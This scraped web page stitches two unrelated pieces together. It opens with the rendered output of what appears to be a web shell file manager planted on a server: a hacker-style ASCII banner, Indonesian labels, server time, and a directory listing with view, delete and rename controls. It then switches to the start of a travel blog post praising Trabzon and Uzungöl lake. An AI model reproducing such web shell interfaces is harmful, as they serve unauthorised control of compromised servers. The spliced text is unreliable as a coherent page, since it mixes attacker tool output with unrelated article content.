Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-04 22:23:25
curdir: / / usr / share / zoneinfo / right / Asia / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 12288 2026-01-04 11:16:58 0755
.. 4096 2026-01-04 11:16:58 0755
Aden 722 2025-12-17 21:51:57 0644
Almaty 1564 2025-12-17 21:51:57 0644
Amman 2008 2025-12-17 21:51:57 0644
Anadyr 1757 2025-12-17 21:51:57 0644
Aqtau 1552 2025-12-17 21:51:57 0644
Aqtobe 1582 2025-12-17 21:51:57 0644
Ashgabat 1186 2025-12-17 21:51:57 0644
Ashkhabad 1186 2025-12-17 21:51:57 0644
Atyrau 1560 2025-12-17 21:51:57 0644
Baghdad 1539 2025-12-17 21:51:57 0644
Bahrain 760 2025-12-17 21:51:57 0644
Baku 1804 2025-12-17 21:51:57 0644
Bangkok 755 2025-12-17 21:51:57 0644
Barnaul 1790 2025-12-17 21:51:57 0644
Beirut 2715 2025-12-17 21:51:57 0644
Bishkek 1564 2025-12-17 21:51:57 0644
Brunei 1056 2025-12-17 21:51:57 0644
Calcutta 852 2025-12-17 21:51:57 0644
Chita 1792 2025-12-17 21:51:57 0644
Choibalsan 1456 2025-12-17 21:51:57 0644
Chongqing 1122 2025-12-17 21:51:57 0644
Chungking 1122 2025-12-17 21:51:57 0644
Colombo 948 2025-12-17 21:51:57 0644
Dacca 905 2025-12-17 21:51:57 0644
Damascus 2452 2025-12-17 21:51:57 0644
Dhaka 905 2025-12-17 21:51:57 0644
Dili 820 2025-12-17 21:51:57 0644
Dubai 722 2025-12-17 21:51:57 0644
Dushanbe 1156 2025-12-17 21:51:57 0644
Famagusta 2582 2025-12-17 21:51:57 0644
Gaza 4421 2025-12-17 21:51:57 0644
Harbin 1122 2025-12-17 21:51:57 0644
Hebron 4449 2025-12-17 21:51:57 0644
Ho_Chi_Minh 924 2025-12-17 21:51:57 0644
Hong_Kong 1787 2025-12-17 21:51:57 0644
Hovd 1456 2025-12-17 21:51:57 0644
Irkutsk 1811 2025-12-17 21:51:57 0644
Istanbul 2505 2025-12-17 21:51:57 0644
Jakarta 932 2025-12-17 21:51:57 0644
Jayapura 791 2025-12-17 21:51:57 0644
Jerusalem 2937 2025-12-17 21:51:57 0644
Kabul 764 2025-12-17 21:51:57 0644
Kamchatka 1733 2025-12-17 21:51:57 0644
Karachi 957 2025-12-17 21:51:57 0644
Kashgar 722 2025-12-17 21:51:57 0644
Kathmandu 773 2025-12-17 21:51:57 0644
Katmandu 773 2025-12-17 21:51:57 0644
Khandyga 1846 2025-12-17 21:51:57 0644
Kolkata 852 2025-12-17 21:51:57 0644
Krasnoyarsk 1778 2025-12-17 21:51:57 0644
Kuala_Lumpur 959 2025-12-17 21:51:57 0644
Kuching 1056 2025-12-17 21:51:57 0644
Kuwait 722 2025-12-17 21:51:57 0644
Macao 1795 2025-12-17 21:51:57 0644
Macau 1795 2025-12-17 21:51:57 0644
Magadan 1793 2025-12-17 21:51:57 0644
Makassar 828 2025-12-17 21:51:57 0644
Manila 971 2025-12-17 21:51:57 0644
Muscat 722 2025-12-17 21:51:57 0644
Nicosia 2556 2025-12-17 21:51:57 0644
Novokuznetsk 1732 2025-12-17 21:51:57 0644
Novosibirsk 1790 2025-12-17 21:51:57 0644
Omsk 1778 2025-12-17 21:51:57 0644
Oral 1574 2025-12-17 21:51:57 0644
Phnom_Penh 755 2025-12-17 21:51:57 0644
Pontianak 935 2025-12-17 21:51:57 0644
Pyongyang 807 2025-12-17 21:51:57 0644
Qatar 760 2025-12-17 21:51:57 0644
Qostanay 1612 2025-12-17 21:51:57 0644
Qyzylorda 1604 2025-12-17 21:51:57 0644
Rangoon 832 2025-12-17 21:51:57 0644
Riyadh 722 2025-12-17 21:51:57 0644
Saigon 924 2025-12-17 21:51:57 0644
Sakhalin 1769 2025-12-17 21:51:57 0644
Samarkand 1154 2025-12-17 21:51:57 0644
Seoul 1199 2025-12-17 21:51:57 0644
Shanghai 1122 2025-12-17 21:51:57 0644
Singapore 959 2025-12-17 21:51:57 0644
Srednekolymsk 1779 2025-12-17 21:51:57 0644
Taipei 1330 2025-12-17 21:51:57 0644
Tashkent 1170 2025-12-17 21:51:57 0644
Tbilisi 1615 2025-12-17 21:51:57 0644
Tehran 1843 2025-12-17 21:51:57 0644
Tel_Aviv 2937 2025-12-17 21:51:57 0644
Thimbu 764 2025-12-17 21:51:57 0644
Thimphu 764 2025-12-17 21:51:57 0644
Tokyo 858 2025-12-17 21:51:57 0644
Tomsk 1790 2025-12-17 21:51:57 0644
Ujung_Pandang 828 2025-12-17 21:51:57 0644
Ulaanbaatar 1456 2025-12-17 21:51:57 0644
Ulan_Bator 1456 2025-12-17 21:51:57 0644
Urumqi 722 2025-12-17 21:51:57 0644
Ust-Nera 1825 2025-12-17 21:51:57 0644
Vientiane 755 2025-12-17 21:51:57 0644
Vladivostok 1779 2025-12-17 21:51:57 0644
Yakutsk 1778 2025-12-17 21:51:57 0644
Yangon 832 2025-12-17 21:51:57 0644
Yekaterinburg 1816 2025-12-17 21:51:57 0644
Yerevan 1748 2025-12-17 21:51:57 0644
Karem - You will visit Trabzon after this article

You will visit Trabzon after this article

  • Home
  • Blogs
  • You will visit Trabzon after this article
Blog Details

You will visit Trabzon after this article

When we talk about picturesque nature, clean air, beautiful forests, green spaces, and clear springs, know that the talk is focused on the charming city of Trabzon, with its wonderful sea views of the Black Sea.

The city of Trabzon, which is called the Pearl of the Black Sea, is one of the most beautiful parts of Turkey. It is close to the Georgian border from the northeastern side of Turkey, and near it is the city of Rize, which exports tea to various parts of the world.

 

Trabzon is approximately 1069 km from Istanbul, 39 meters above sea level, where the port of Trabzon is located on the Black Sea. The city’s population is approximately 757,000, according to 2019 statistics, and its area is approximately 4,000 km. Tourism in Trabzon is the backbone of the city’s economy, as it receives thousands of Arab tourists annually.

Trabzon has a warm climate in summer, and humid and cold in winter, and there is usually a lot of rain and snow in the region.

 

Uzungöl Trabzon - the most important tourist places in Trabzon

Uzungöl Trabzon is one of the most popular tourist destinations, how not? It is the lake that has a special luster, and a distinctive charm, which tops the beauty and splendor of all those around it from the other lakes, as it is located at a distance of approximately 96 km from the city center, and on its sides are the mountainous heights covered with a wonderful green carpet, and you can imagine the amount of beauty represented when you travel In Uzungol, and seeing the view of this lake in the winter, especially, when the fog covers the mountains and the heights around it.